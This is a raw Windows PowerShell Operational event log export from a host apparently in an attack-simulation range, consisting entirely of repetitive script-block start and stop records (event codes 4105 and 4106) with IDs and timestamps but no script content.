Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039709
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039707
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039706
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039689
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039683
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
